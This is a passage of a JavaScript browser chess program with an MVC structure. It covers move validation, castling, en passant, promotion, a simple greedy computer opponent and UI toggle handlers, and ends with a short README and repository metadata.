/**Row 4**/ [[null, null], [null, null], [null, null], [null, null], [null, null], [null, null], [null, null], [null, null]],
/**Row 5**/ [[null, null], [null, null], [null, null], [null, null], [null, null], [null, null], [null, null], [null, null]],
/**Row 6**/ [[null, null], [null, null], [null, null], [null, null], [null, null], [null, null], [null, null], [null, null]],
/**Row 7**/ [["white", "pawn"], ["white", "pawn"], ["white", "pawn"], ["white", "pawn"], ["white", "pawn"], ["white", "pawn"], ["white", "pawn"], ["white", "pawn"]],
/**Row 8**/ [["white", "rook"], ["white", "knight"], ["white", "bishop"], ["white", "queen"], ["white", "king"], ["white", "bishop"], ["white", "knight"], ["white", "rook"]]
];
var view = {
useRotation: true,
useAnimation: true,
rotationDelay: 0,
usePossibleMoves: true,
tdArray: document.getElementsByName("cell"),
updateBoard: function() {
/** Setting piece sprite-sheet background image position **/
for(var i = 0; i < view.tdArray.length; i++) {
var vertical;
var horizontal;
if(model.board[Math.floor(i/8)][Math.floor((i%8))][COLOR] == "white") {
vertical = "3px";
} else {
vertical = "-72px";
}
switch(model.board[Math.floor(i/8)][Math.floor((i%8))][PIECE]) {
case("pawn"):
horizontal = "0";
break;
case("bishop"):
horizontal = "-75px";
break;
case("knight"):
horizontal = "-150px";
break;
case("rook"):
horizontal = "-225px";
break;
case("queen"):
horizontal = "-300px";
break;
case("king"):
horizontal = "-375px";
break;
default:
horizontal = "75px";
break;
}
view.tdArray[i].setAttribute("style", "background-position:" + horizontal + " " + vertical + ";");
}
/** Sets delay if animation is turned off **/
var timeout = setTimeout(function() {
/** blackTurn and whiteTurn control rotation of pieces and board **/
for(var i = 0; i < view.tdArray.length; i++) {
/** blackPieceTurn and whitePieceTurn control piece animation **/
if(controller.turn == "white" && view.useRotation) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").replace(" blackTurn", " whiteTurn"));
if(view.useAnimation) {
if(view.tdArray[i].getAttribute("class").match(" blackPieceTurn") != null) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").replace(" blackPieceTurn", " whitePieceTurn"));
} else if(view.tdArray[i].getAttribute("class").match(" whitePieceTurn") == null) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").concat(" whitePieceTurn"));
}
}
} else if(view.useRotation) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").replace(" whiteTurn", " blackTurn"));
if(view.useAnimation) {
if(view.tdArray[i].getAttribute("class").match(" whitePieceTurn") != null) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").replace(" whitePieceTurn", " blackPieceTurn"));
} else if(view.tdArray[i].getAttribute("class").match(" blackPieceTurn") == null) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").concat(" blackPieceTurn"));
}
}
}
}
/** blackBoardTurn and whiteBoardTurn control board animation **/
if(controller.turn == "white") {
if(view.useRotation) {
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").replace(" blackTurn", " whiteTurn"));
if(view.useAnimation) {
if(document.getElementById("boardTable").getAttribute("class").match(" blackBoardTurn") != null) {
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").replace(" blackBoardTurn", " whiteBoardTurn"));
} else if(document.getElementById("boardTable").getAttribute("class").match(" whiteBoardTurn") == null) {
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").concat(" whiteBoardTurn"));
}
}
}
} else {
if(view.useRotation) {
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").replace(" whiteTurn", " blackTurn"));
if(view.useAnimation) {
if(document.getElementById("boardTable").getAttribute("class").match(" whiteBoardTurn") != null) {
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").replace(" whiteBoardTurn", " blackBoardTurn"));
} else if(document.getElementById("boardTable").getAttribute("class").match(" blackBoardTurn") == null) {
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").concat(" blackBoardTurn"));
}
}
}
}
}, view.rotationDelay);
/** Controls turn indicator **/
if(controller.turn == "white") {
document.getElementById("whiteTurnIndicator").removeAttribute("hidden");
document.getElementById("blackTurnIndicator").setAttribute("hidden", "hidden");
} else {
document.getElementById("blackTurnIndicator").removeAttribute("hidden");
document.getElementById("whiteTurnIndicator").setAttribute("hidden", "hidden");
}
},
clearMoves: function() {
for(var i = 0; i < view.tdArray.length; i++) {
view.tdArray[i].parentElement.setAttribute("class", view.tdArray[i].parentElement.getAttribute("class").replace(" selected", ""));
}
},
showMove: function(cell) {
var tdElement = document.getElementById(cell[ROW] + "" + cell[COLUMN]);
if(tdElement.parentElement.getAttribute("class").match(" selected") == null) {
tdElement.parentElement.setAttribute("class", tdElement.parentElement.getAttribute("class").concat(" selected"));
}
},
promotion: function(on) {
if(on) {
document.getElementById("promotion").removeAttribute("hidden");
document.getElementById("screen").removeAttribute("hidden");
} else {
document.getElementById("promotion").setAttribute("hidden", "hidden");
document.getElementById("screen").setAttribute("hidden", "hidden");
}
},
checkMate: function() {
document.getElementById("messageArea").innerHTML = "Game over, " + controller.turn + " has been checkmated";
document.getElementById("screen").removeAttribute("hidden");
},
staleMate: function() {
document.getElementById("messageArea").innerHTML = "The game is a stalemate";
document.getElementById("screen").removeAttribute("hidden");
}
};
var model = {
whiteKingCastle: true,
whiteQueenCastle: true,
whiteCheck: false,
blackKingCastle: true,
blackQueenCastle: true,
blackCheck: false,
enPassantColumn: null,
promotedPawn: null,
board: null,
clearPath: function(start, end, workingBoard) {
/** Checks to see if there are any pieces between 'start' and 'end' **/
var rowDifference = start[ROW] - end[ROW];
var columnDifference = start[COLUMN] - end[COLUMN];
function reduce() {
/** Reduces 'end' position down to 'start' position **/
if(rowDifference < 0) {
rowDifference++;
} else if (rowDifference > 0) {
rowDifference--;
}
if(columnDifference < 0) {
columnDifference++;
} else if (columnDifference > 0) {
columnDifference--;
}
}
reduce();
/** Checks each square between 'start' and 'end' **/
while(!(rowDifference == 0 && columnDifference == 0)) {
if(workingBoard[start[ROW] - rowDifference][start[COLUMN] - columnDifference][PIECE] != null) {
return false;
}
reduce();
}
return true;
},
validLocation: function(location) {
/** Checks if a location is on the board **/
return (location[ROW] >= 0 && location[ROW] <= 7 && location[COLUMN] >= 0 && location[COLUMN] <= 7 )
},
validBishop: function(start, end, workingBoard) {
return Math.abs(end[ROW] - start[ROW]) == Math.abs(end[COLUMN] - start[COLUMN])
&& model.clearPath(start, end, workingBoard);
},
validKing: function(start, end, workingBoard) {
return (Math.abs(start[ROW] - end[ROW]) == 1 || start[ROW] == end[ROW])
&& (Math.abs(start[COLUMN] - end[COLUMN]) == 1 || start[COLUMN] == end[COLUMN]);
},
validKnight: function(start, end) {
return (Math.abs(start[ROW] - end[ROW]) == 1 && Math.abs(start[COLUMN] - end[COLUMN]) == 2)
|| (Math.abs(start[COLUMN] - end[COLUMN]) == 1 && Math.abs(start[ROW] - end[ROW]) == 2);
},
validPawn: function(start, end, workingBoard) {
var startRow = start[ROW];
var endRow = end[ROW];
if(controller.turn == "white") {
startRow = 7 - start[ROW];
endRow = 7 - end[ROW];
}
return (endRow - startRow == 1
&& ((start[COLUMN] == end[COLUMN] && workingBoard[end[ROW]][end[COLUMN]][PIECE] == null)
|| (Math.abs(start[COLUMN] - end[COLUMN]) == 1 && workingBoard[end[ROW]][end[COLUMN]][PIECE] != null)
|| (startRow == 4 && end[COLUMN] == model.enPassantColumn)))
|| (startRow == 1 && endRow == 3 && start[COLUMN] == end[COLUMN]
&& model.clearPath(start, end, workingBoard) && workingBoard[end[ROW]][end[COLUMN]][PIECE] == null);
},
validRook: function(start, end, workingBoard) {
return (start[ROW] == end[ROW] || start[COLUMN] == end[COLUMN]) && model.clearPath(start, end, workingBoard);
},
validCastle: function(start, end, workingBoard) {
var midColumn = (start[COLUMN] + end[COLUMN])/2;
function castleCheck() {
if(workingBoard[start[ROW]][midColumn][PIECE] == null && workingBoard[end[ROW]][end[COLUMN]][PIECE] == null) {
var tempBoard = model.copyBoard(workingBoard);
controller.move(start, [start[ROW],midColumn], tempBoard);
if(model.capturable(tempBoard, model.findKing(tempBoard, controller.turn), controller.turn).length != 0) {
return false;
}
controller.move([start[ROW],midColumn], end, tempBoard);
return model.capturable(tempBoard, model.findKing(tempBoard, controller.turn), controller.turn).length == 0;
} else {
return false;
}
}
if(model.capturable(workingBoard, model.findKing(workingBoard, controller.turn), controller.turn).length == 0) {
if(controller.turn == "white" && start[ROW] == 7 && start[COLUMN] == 4 && end[ROW] == 7) {
if(end[COLUMN] == 2 && model.whiteQueenCastle && workingBoard[7][1][PIECE] == null
&& workingBoard[7][0][PIECE] == "rook" && workingBoard[7][0][COLOR] == "white") {
return castleCheck();
} else if(end[COLUMN] == 6 && model.whiteKingCastle
&& workingBoard[7][7][PIECE] == "rook" && workingBoard[7][7][COLOR] == "white") {
return castleCheck();
}
} else if(controller.turn == "black" && start[ROW] == 0 && start[COLUMN] == 4 && end[ROW] == 0){
if(end[COLUMN] == 2 && model.blackQueenCastle && workingBoard[0][1][PIECE] == null
&& workingBoard[0][0][PIECE] == "rook" && workingBoard[0][0][COLOR] == "black") {
return castleCheck();
} else if(end[COLUMN] == 6 && model.blackKingCastle
&& workingBoard[0][7][PIECE] == "rook" && workingBoard[0][7][COLOR] == "black") {
return castleCheck();
}
}
} else {
return false;
}
},
validMove: function(start, end, workingBoard) {
var validPiece = false;
if(model.validLocation(start) && model.validLocation(end)){
if(workingBoard[start[ROW]][start[COLUMN]][COLOR] == controller.turn
&& workingBoard[end[ROW]][end[COLUMN]][COLOR] != controller.turn) {
switch(workingBoard[start[ROW]][start[COLUMN]][PIECE]) {
case("bishop"):
if(model.validBishop(start, end, workingBoard)) {
validPiece = true;
}
break;
case("king"):
if(model.validKing(start, end, workingBoard) || model.validCastle(start, end, workingBoard)) {
validPiece = true;
}
break;
case("knight"):
if(model.validKnight(start, end)) {
validPiece = true;
}
break;
case("pawn"):
if(model.validPawn(start, end, workingBoard)) {
validPiece = true;
}
break;
case("queen"):
if(model.validBishop(start, end, workingBoard) || model.validRook(start, end, workingBoard)) {
validPiece = true;
}
break;
case("rook"):
if(model.validRook(start, end, workingBoard)) {
validPiece = true;
}
break;
default:
break;
}
}
}
if(validPiece) {
var tempBoard = model.copyBoard(workingBoard);
controller.processMove(start, end, tempBoard);
return model.capturable(tempBoard, model.findKing(tempBoard, controller.turn), controller.turn).length == 0;
} else {
return false;
}
},
findKing: function(workingBoard, workingTurn) {
for(var r = 0; r < 8; r++) {
for(var c = 0; c < 8; c++) {
if(workingBoard[r][c][COLOR] == workingTurn && workingBoard[r][c][PIECE] == "king") {
return [r,c];
}
}
}
},
capturable: function(workingBoard, piece, turn) {
var captureArray = []
for(var i = 1; i < 8; i++) {
for(var j = 0; j < 4; j++) {
if(model.validLocation([i*BISHOPMOVES[j][ROW] + piece[ROW], i*BISHOPMOVES[j][COLUMN] + piece[COLUMN]])) {
if(workingBoard[i*BISHOPMOVES[j][ROW] + piece[ROW]][i*BISHOPMOVES[j][COLUMN] + piece[COLUMN]][COLOR] != turn
&& (workingBoard[i*BISHOPMOVES[j][ROW] + piece[ROW]][i*BISHOPMOVES[j][COLUMN] + piece[COLUMN]][PIECE] == "bishop"
|| workingBoard[i*BISHOPMOVES[j][ROW] + piece[ROW]][i*BISHOPMOVES[j][COLUMN] + piece[COLUMN]][PIECE] == "queen")
&& model.clearPath(piece, [i*BISHOPMOVES[j][ROW] + piece[ROW], i*BISHOPMOVES[j][COLUMN] + piece[COLUMN]], workingBoard)) {
captureArray = captureArray.concat([[i*BISHOPMOVES[j][ROW] + piece[ROW], i*BISHOPMOVES[j][COLUMN] + piece[COLUMN]]]);
}
}
if(model.validLocation([i*ROOKMOVES[j][ROW] + piece[ROW], i*ROOKMOVES[j][COLUMN] + piece[COLUMN]])) {
if(workingBoard[i*ROOKMOVES[j][ROW] + piece[ROW]][i*ROOKMOVES[j][COLUMN] + piece[COLUMN]][COLOR] != turn
&& (workingBoard[i*ROOKMOVES[j][ROW] + piece[ROW]][i*ROOKMOVES[j][COLUMN] + piece[COLUMN]][PIECE] == "rook"
|| workingBoard[i*ROOKMOVES[j][ROW] + piece[ROW]][i*ROOKMOVES[j][COLUMN] + piece[COLUMN]][PIECE] == "queen")
&& model.clearPath(piece, [i*ROOKMOVES[j][ROW] + piece[ROW], i*ROOKMOVES[j][COLUMN] + piece[COLUMN]], workingBoard)) {
captureArray = captureArray.concat([[i*ROOKMOVES[j][ROW] + piece[ROW], i*ROOKMOVES[j][COLUMN] + piece[COLUMN]]]);
}
}
}
}
var direction = 1;
if(turn == "white") {
direction = -1;
}
if(model.validLocation([piece[ROW] + direction, piece[COLUMN] + 1])) {
if(workingBoard[piece[ROW] + direction][piece[COLUMN] + 1][PIECE] == "pawn"
&& workingBoard[piece[ROW] + direction][piece[COLUMN] + 1][COLOR] != turn) {
captureArray = captureArray.concat([[piece[ROW] + direction, piece[COLUMN] + 1]]);
}
}
if(model.validLocation([piece[ROW] + direction, piece[COLUMN] - 1])) {
if(workingBoard[piece[ROW] + direction][piece[COLUMN] - 1][PIECE] == "pawn"
&& workingBoard[piece[ROW] + direction][piece[COLUMN] - 1][COLOR] != turn) {
captureArray = captureArray.concat([[piece[ROW] + direction, piece[COLUMN] - 1]]);
}
}
for(var i = 0; i < 8; i++) {
if(model.validLocation([piece[ROW] + KNIGHTMOVES[i][ROW], piece[COLUMN] + KNIGHTMOVES[i][COLUMN]])) {
if(workingBoard[piece[ROW] + KNIGHTMOVES[i][ROW]][piece[COLUMN] + KNIGHTMOVES[i][COLUMN]][PIECE] == "knight"
&& workingBoard[piece[ROW] + KNIGHTMOVES[i][ROW]][piece[COLUMN] + KNIGHTMOVES[i][COLUMN]][COLOR] != turn) {
captureArray = captureArray.concat([[piece[ROW] + KNIGHTMOVES[i][ROW], piece[COLUMN] + KNIGHTMOVES[i][COLUMN]]]);
}
}
if(model.validLocation([piece[ROW] + KINGMOVES[i][ROW], piece[COLUMN] + KINGMOVES[i][COLUMN]])) {
if(workingBoard[piece[ROW] + KINGMOVES[i][ROW]][piece[COLUMN] + KINGMOVES[i][COLUMN]][PIECE] == "king"
&& workingBoard[piece[ROW] + KINGMOVES[i][ROW]][piece[COLUMN] + KINGMOVES[i][COLUMN]][COLOR] != turn) {
captureArray = captureArray.concat([[piece[ROW] + KINGMOVES[i][ROW], piece[COLUMN] + KINGMOVES[i][COLUMN]]]);
}
}
}
return captureArray;
},
possibleMoves: function(r, c, workingBoard) {
var possible = 0;
function possibleRook() {
for(var i = 1; i < 8; i++) {
for(var j = 0; j < 4; j++) {
if(model.validMove([r,c], [i*ROOKMOVES[j][ROW] + r, i*ROOKMOVES[j][COLUMN] + c], workingBoard)) {
if(view.usePossibleMoves){
view.showMove([i*ROOKMOVES[j][ROW] + r, i*ROOKMOVES[j][COLUMN] + c]);
}
possible++;
}
}
}
}
function possibleBishop() {
for(var i = 1; i < 8; i++) {
for(var j = 0; j < 4; j++) {
if(model.validMove([r,c], [i*BISHOPMOVES[j][ROW] + r, i*BISHOPMOVES[j][COLUMN] + c], workingBoard)) {
if(view.usePossibleMoves){
view.showMove([i*BISHOPMOVES[j][ROW] + r, i*BISHOPMOVES[j][COLUMN] + c]);
}
possible++;
}
}
}
}
if(workingBoard[r][c][COLOR] == controller.turn) {
switch(workingBoard[r][c][PIECE]) {
case("bishop"):
possibleBishop();
break;
case("king"):
for(var i = 0; i < 10; i++) {
if(model.validMove([r,c], [KINGMOVES[i][ROW] + r, KINGMOVES[i][COLUMN] + c], workingBoard)) {
if(view.usePossibleMoves){
view.showMove([KINGMOVES[i][ROW] + r, KINGMOVES[i][COLUMN] + c]);
}
possible++;
}
}
break;
case("knight"):
for(var i = 0; i < 8; i++) {
if(model.validMove([r,c], [KNIGHTMOVES[i][ROW] + r, KNIGHTMOVES[i][COLUMN] + c], workingBoard)) {
if(view.usePossibleMoves){
view.showMove([KNIGHTMOVES[i][ROW] + r, KNIGHTMOVES[i][COLUMN] + c]);
}
possible++;
}
}
break;
case("pawn"):
for(var i = 0; i < 8; i++) {
if(model.validMove([r,c], [PAWNMOVES[i][ROW] + r, PAWNMOVES[i][COLUMN] + c], workingBoard)) {
if(view.usePossibleMoves){
view.showMove([PAWNMOVES[i][ROW] + r, PAWNMOVES[i][COLUMN] + c]);
}
possible++;
}
}
break;
case("queen"):
possibleBishop();
possibleRook();
break;
case("rook"):
possibleRook();
break;
default:
break;
}
}
return possible;
},
checkMate: function() {
for(var r = 0; r < 8; r++) {
for(var c = 0; c < 8; c++) {
if(model.possibleMoves(r, c, model.board) != 0) {
return false;
}
}
}
return true;
},
copyBoard: function(oldBoard) {
var newBoard = Array(8);
for(var i = 0; i < 8; i++) {
var tempArray = Array(8);
for(var j = 0; j < 8; j++) {
tempArray[j] = [oldBoard[i][j][COLOR], oldBoard[i][j][PIECE]];
}
newBoard[i] = tempArray;
}
return newBoard;
}
};
var controller = {
start: null,
end: null,
move: function(start, end, workingBoard) {
workingBoard[end[ROW]][end[COLUMN]] = workingBoard[start[ROW]][start[COLUMN]];
workingBoard[start[ROW]][start[COLUMN]] = [null, null];
},
processMove: function(start, end, workingBoard) {
controller.move(start, end, workingBoard);
if(workingBoard[end[ROW]][end[COLUMN]][PIECE] == "pawn" && model.enPassantColumn == end[COLUMN]) {
if(controller.turn == "white" && end[ROW] == 2) {
workingBoard[3][end[COLUMN]] = [null, null];
} else if(controller.turn == "black" && end[ROW] == 5) {
workingBoard[4][end[COLUMN]] = [null, null];
}
}
if(workingBoard[end[ROW]][end[COLUMN]][PIECE] == "king" && Math.abs(end[COLUMN] - start[COLUMN]) == 2) {
if(controller.turn == "white") {
if(end[COLUMN] == 2) {
controller.move([7,0], [7,3], workingBoard);
} else {
controller.move([7,7], [7,5], workingBoard);
}
} else {
if(end[COLUMN] == 2) {
controller.move([0,0], [0,3], workingBoard);
} else {
controller.move([0,7], [0,5], workingBoard);
}
}
}
},
turn: "white",
computerTurn: "black",
playerTurn: "white",
computerMove: function() {
var computerStart = [];
var computerEnd = [];
var moveValue = 0;
var equivalentMoves = [];
var PAWN = 1;
var KNIGHT = 3;
var BISHOP = 3;
var ROOK = 5;
var QUEEN = 9;
var KING = 100;
function moveRater(start, end, workingBoard) {
var moveRate = 1000;
var tempBoard = model.copyBoard(workingBoard);
if(workingBoard[end[ROW]][end[COLUMN]][COLOR] != controller.computerTurn) {
switch(workingBoard[end[ROW]][end[COLUMN]][PIECE]) {
case("pawn"):
moveRate += PAWN;
break;
case("bishop"):
moveRate += BISHOP;
break;
case("knight"):
moveRate += KNIGHT;
break;
case("rook"):
moveRate += ROOK;
break;
case("queen"):
moveRate += QUEEN;
break;
default:
break;
}
}
console.log("Taken: " + moveRate);
controller.processMove(start, end, tempBoard);
var freedomOfMovement = 0;
var valueOfCaptured = 0;
var numberOfCaptured = 0;
for(var r = 0; r < 8; r++) {
for(var c = 0; c < 8; c++) {
freedomOfMovement += model.possibleMoves(r, c, tempBoard);
if(tempBoard[r][c][COLOR] == controller.computerTurn) {
var captureArray = model.capturable(tempBoard, [r,c], controller.computerTurn);
if(captureArray.length != 0) {
var leastValue = 100;
if(model.capturable(tempBoard, [r,c], controller.playerTurn) != 0) {
for(var i = 0; i < captureArray.length; i++) {
switch(tempBoard[captureArray[i][ROW]][captureArray[i][COLUMN]][PIECE]) {
case("pawn"):
if(leastValue > PAWN) {
leastValue = PAWN;
}
break;
case("bishop"):
if(leastValue > BISHOP) {
leastValue = BISHOP;
}
break;
case("knight"):
if(leastValue > KNIGHT) {
leastValue = KNIGHT;
}
break;
case("rook"):
if(leastValue > ROOK) {
leastValue = ROOK;
}
break;
case("queen"):
if(leastValue > QUEEN) {
leastValue = QUEEN;
}
break;
default:
break;
}
}
} else {
leastValue = 0;
}
valueOfCaptured += leastValue;
numberOfCaptured++;
switch(tempBoard[r][c][PIECE]) {
case("pawn"):
valueOfCaptured -= PAWN;
break;
case("bishop"):
valueOfCaptured -= BISHOP;
break;
case("knight"):
valueOfCaptured -= KNIGHT;
break;
case("rook"):
valueOfCaptured -= ROOK;
break;
case("queen"):
valueOfCaptured -= QUEEN;
break;
case("king"):
valueOfCaptured -= KING;
break;
default:
break;
}
}
}
}
}
if(numberOfCaptured > 0) {
moveRate += valueOfCaptured/numberOfCaptured;
console.log("Captured: " + valueOfCaptured/numberOfCaptured);
}
console.log("Freedom of movement: " + freedomOfMovement/100);
moveRate += freedomOfMovement/100;
/**
In danger of being captured, but defended
Capturing opponents piece only to be captured yourself
Sacrifice
enpassant
Castling
control the center
promotion
placing opponent in check & checkmate
**/
console.log("Move Rate: " + moveRate + " for " + start + " / " + end);
if(moveRate > moveValue) {
computerStart = start;
computerEnd = end;
moveValue = moveRate;
equivalentMoves = [[start, end]];
} else if(moveRate == moveValue) {
equivalentMoves = equivalentMoves.concat([[start, end]]);
}
}
for(var r = 0; r < 8; r++) {
for(var c = 0; c < 8; c++) {
if(model.board[r][c][COLOR] == controller.computerTurn) {
switch(model.board[r][c][PIECE]) {
case("bishop"):
for(var i = 1; i < 8; i++) {
for(var j = 0; j < 4; j++) {
if(model.validMove([r,c], [i*BISHOPMOVES[j][ROW] + r, i*BISHOPMOVES[j][COLUMN] + c], model.board)) {
moveRater([r,c], [i*BISHOPMOVES[j][ROW] + r, i*BISHOPMOVES[j][COLUMN] + c], model.board);
}
}
}
break;
case("king"):
for(var i = 0; i < 10; i++) {
if(model.validMove([r,c], [KINGMOVES[i][ROW] + r, KINGMOVES[i][COLUMN] + c], model.board)) {
moveRater([r,c], [KINGMOVES[i][ROW] + r, KINGMOVES[i][COLUMN] + c], model.board);
}
}
break;
case("knight"):
for(var i = 0; i < 8; i++) {
if(model.validMove([r,c], [KNIGHTMOVES[i][ROW] + r, KNIGHTMOVES[i][COLUMN] + c], model.board)) {
moveRater([r,c], [KNIGHTMOVES[i][ROW] + r, KNIGHTMOVES[i][COLUMN] + c], model.board);
}
}
break;
case("pawn"):
for(var i = 0; i < 8; i++) {
if(model.validMove([r,c], [PAWNMOVES[i][ROW] + r, PAWNMOVES[i][COLUMN] + c], model.board)) {
moveRater([r,c], [PAWNMOVES[i][ROW] + r, PAWNMOVES[i][COLUMN] + c], model.board);
}
}
break;
case("queen"):
for(var i = 1; i < 8; i++) {
for(var j = 0; j < 4; j++) {
if(model.validMove([r,c], [i*BISHOPMOVES[j][ROW] + r, i*BISHOPMOVES[j][COLUMN] + c], model.board)) {
moveRater([r,c], [i*BISHOPMOVES[j][ROW] + r, i*BISHOPMOVES[j][COLUMN] + c], model.board);
} else if(model.validMove([r,c], [i*ROOKMOVES[j][ROW] + r, i*ROOKMOVES[j][COLUMN] + c], model.board)) {
moveRater([r,c], [i*ROOKMOVES[j][ROW] + r, i*ROOKMOVES[j][COLUMN] + c], model.board);
}
}
}
break;
case("rook"):
for(var i = 1; i < 8; i++) {
for(var j = 0; j < 4; j++) {
if(model.validMove([r,c], [i*ROOKMOVES[j][ROW] + r, i*ROOKMOVES[j][COLUMN] + c], model.board)) {
moveRater([r,c], [i*ROOKMOVES[j][ROW] + r, i*ROOKMOVES[j][COLUMN] + c], model.board);
}
}
}
break;
default:
break;
}
}
}
}
console.log("Equivalent Moves:")
console.log(equivalentMoves);
if(equivalentMoves.length > 1) {
var choice = Math.floor(equivalentMoves.length * Math.random());
console.log("Choice: " + choice);
return equivalentMoves[choice];
}
return [computerStart, computerEnd];
},
turnTaker: function(start, end) {
if(model.validMove(start, end, model.board)) {
controller.processMove(start, end, model.board);
model.enPassantColumn = null;
switch(model.board[end[ROW]][end[COLUMN]][PIECE]) {
case("king"):
if(controller.turn == "white"){
model.whiteQueenCastle = false;
model.whiteKingCastle = false;
} else {
model.blackQueenCastle = false;
model.blackKingCastle = false;
}
break;
case("pawn"):
if((controller.turn == "white" && end[ROW] == 0) || (controller.turn == "black" && end[ROW] == 7)) {
model.promotedPawn = end;
view.promotion(true);
} else if(Math.abs(end[ROW] - start[ROW]) == 2) {
model.enPassantColumn = end[COLUMN];
}
break;
case("rook"):
if(start[COLUMN] == 0) {
if(controller.turn == "black") {
model.blackQueenCastle = false;
} else {
model.whiteQueenCastle = false;
}
} else if (start[COLUMN] == 7) {
if(controller.turn == "black") {
model.blackKingCastle = false;
} else {
model.whiteKingCastle = false;
}
}
break;
}
if(controller.turn == "white") {
controller.turn = "black";
} else {
controller.turn = "white";
}
if(model.checkMate()) {
if(model.capturable(model.board, model.findKing(model.board, controller.turn), controller.turn).length != 0) {
view.checkMate();
} else {
view.staleMate();
}
} else if(controller.turn == controller.computerTurn){
var moveArray = controller.computerMove();
controller.turnTaker(moveArray[0], moveArray[1]);
}
}
}
};
function init() {
model.board = model.copyBoard(STARTINGBOARD);
for(var i = 0; i < view.tdArray.length; i++) {
view.tdArray[i].onclick = handleMove;
view.tdArray[i].onmouseover = handleHover;
view.tdArray[i].onmouseout = handleMouseOut;
if(view.tdArray[i].getAttribute("id").charAt(0)%2 == 0) {
if(view.tdArray[i].getAttribute("id").charAt(1)%2 == 0) {
view.tdArray[i].parentElement.setAttribute("class", "even");
} else {
view.tdArray[i].parentElement.setAttribute("class", "odd");
}
} else {
if(view.tdArray[i].getAttribute("id").charAt(1)%2 != 0) {
view.tdArray[i].parentElement.setAttribute("class", "even");
} else {
view.tdArray[i].parentElement.setAttribute("class", "odd");
}
}
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").concat(" whiteTurn"));
}
document.getElementById("boardTable").setAttribute("class", " whiteTurn");
view.updateBoard();
document.getElementById("bishop").onclick = handlePromotion;
document.getElementById("knight").onclick = handlePromotion;
document.getElementById("rook").onclick = handlePromotion;
document.getElementById("queen").onclick = handlePromotion;
document.getElementById("newGame").onclick = handleNewGame;
document.getElementById("rotation").onclick = handleRotation;
document.getElementById("animation").onclick = handleAnimation;
document.getElementById("possibleMoves").onclick = handlePossibleMoves;
}
function handleNewGame() {
model.board = model.copyBoard(STARTINGBOARD);
controller.turn = "white";
model.whiteKingCastle = true;
model.whiteQueenCastle = true;
model.whiteCheck = false;
model.blackKingCastle = true;
model.blackQueenCastle = true;
model.blackCheck = false;
model.enPassantColumn = null;
model.promotedPawn = null;
document.getElementById("messageArea").innerHTML = "";
view.promotion(false);
view.updateBoard();
controller.start = null;
view.clearMoves();
document.getElementById("screen").setAttribute("hidden", "hidden");
}
function handleMove() {
var move = this.id;
if(controller.start == null) {
controller.start = [move.charAt(0)*1, move.charAt(1)*1];
view.showMove(controller.start);
model.possibleMoves(move.charAt(0)*1, move.charAt(1)*1, model.board);
} else {
controller.end = [move.charAt(0)*1, move.charAt(1)*1];
if (!(controller.start[0] == controller.end[0] && controller.start[1] == controller.end[1])) {
controller.turnTaker(controller.start, controller.end);
view.updateBoard();
}
controller.start = null;
controller.end = null;
view.clearMoves();
}
}
function handleHover() {
if(view.usePossibleMoves){
var hover = this.id;
if(controller.start == null) {
model.possibleMoves(hover.charAt(0)*1, hover.charAt(1)*1, model.board);
}
}
}
function handleMouseOut() {
if(view.usePossibleMoves){
var mouseOut = this.id;
view.clearMoves();
if(controller.start != null) {
view.showMove(controller.start);
model.possibleMoves(controller.start[ROW], controller.start[COLUMN], model.board);
}
}
}
function handlePromotion() {
model.board[model.promotedPawn[ROW]][model.promotedPawn[COLUMN]][PIECE] = this.getAttribute("id");
model.promotedPawn = null;
view.promotion(false);
view.updateBoard();
}
function handleRotation() {
if(view.useRotation) {
view.useRotation = false;
document.getElementById("rotation").setAttribute("value", "Turn Rotation On");
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").replace(" blackTurn", " whiteTurn"));
for(var i = 0; i < view.tdArray.length; i++) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").replace(" blackTurn", " whiteTurn"));
}
view.useAnimation = true;
handleAnimation();
} else {
view.useRotation = true;
document.getElementById("rotation").setAttribute("value", "Turn Rotation Off");
if(controller.turn == "black"){
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").replace(" whiteTurn", " blackTurn"));
for(var i = 0; i < view.tdArray.length; i++) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").replace(" whiteTurn", " blackTurn"));
}
}
}
}
function handleAnimation() {
if(view.useAnimation) {
view.useAnimation = false;
view.rotationDelay = 1000;
document.getElementById("animation").setAttribute("value", "Turn Animation On");
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").replace(" whiteBoardTurn", ""));
document.getElementById("boardTable").setAttribute("class", document.getElementById("boardTable").getAttribute("class").replace(" blackBoardTurn", ""));
for(var i = 0; i < view.tdArray.length; i++) {
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").replace(" whitePieceTurn", ""));
view.tdArray[i].setAttribute("class", view.tdArray[i].getAttribute("class").replace(" blackPieceTurn", ""));
}
} else {
if(!view.useRotation) {
handleRotation();
}
view.useAnimation = true;
view.rotationDelay = 0;
document.getElementById("animation").setAttribute("value", "Turn Animation Off");
}
}
function handlePossibleMoves() {
if(view.usePossibleMoves) {
view.usePossibleMoves = false;
document.getElementById("possibleMoves").setAttribute("value", "Turn Possible Moves On");
} else {
view.usePossibleMoves = true;
document.getElementById("possibleMoves").setAttribute("value", "Turn Possible Moves Off");
}
}
window.onload = init;<file_sep>/README.md
# Chess
Javascript Chess Program
| f076b52c125f760c41db8e9d1dc67b4c3033e08d | [
"JavaScript",
"Markdown"
] | 2 | JavaScript | Ozatm/Chess | 1cea8399f29ffc0af616a54b64aa452a45fdc0f9 | f7838485aaaeff6cfb0fd11320710a26c6abd924 |
